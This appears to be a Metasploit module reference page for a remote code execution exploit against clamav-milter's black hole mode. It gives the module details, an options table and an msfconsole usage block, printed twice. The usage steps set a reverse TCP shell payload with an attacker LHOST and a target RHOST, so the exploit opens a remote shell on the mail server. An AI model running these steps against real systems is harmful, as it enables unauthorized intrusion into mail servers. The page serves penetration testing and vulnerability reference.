ClamAV Milter Blackhole-Mode Remote Code Execution
This module exploits a flaw in the Clam AntiVirus suite 'clamav-milter' (Sendmail mail filter). Versions prior to v0.92.2 are vulnerable. When implemented with black hole mode enabled, it is possible to execute commands remotely due to an insecure popen call.
Exploit Rank
- Excellent
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Automatic (default)
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/smtp/clamav_milter_blackhole
msf exploit(clamav_milter_blackhole) > show payloads
msf exploit(clamav_milter_blackhole) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(clamav_milter_blackhole) > set LHOST [MY IP ADDRESS]
msf exploit(clamav_milter_blackhole) > set RHOST [TARGET IP]
msf exploit(clamav_milter_blackhole) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/unix/smtp/clamav_milter_blackhole
msf exploit(clamav_milter_blackhole) > show payloads
msf exploit(clamav_milter_blackhole) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(clamav_milter_blackhole) > set LHOST [MY IP ADDRESS]
msf exploit(clamav_milter_blackhole) > set RHOST [TARGET IP]
msf exploit(clamav_milter_blackhole) > exploit
Exploit Module Options
| MAILFROM | FROM address of the e-mail (default: zombie@brains.net) |
| MAILTO | TO address of the e-mail (default: nobody@localhost) |
| RHOST | The target address |
| RPORT | The target port (default: 25) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
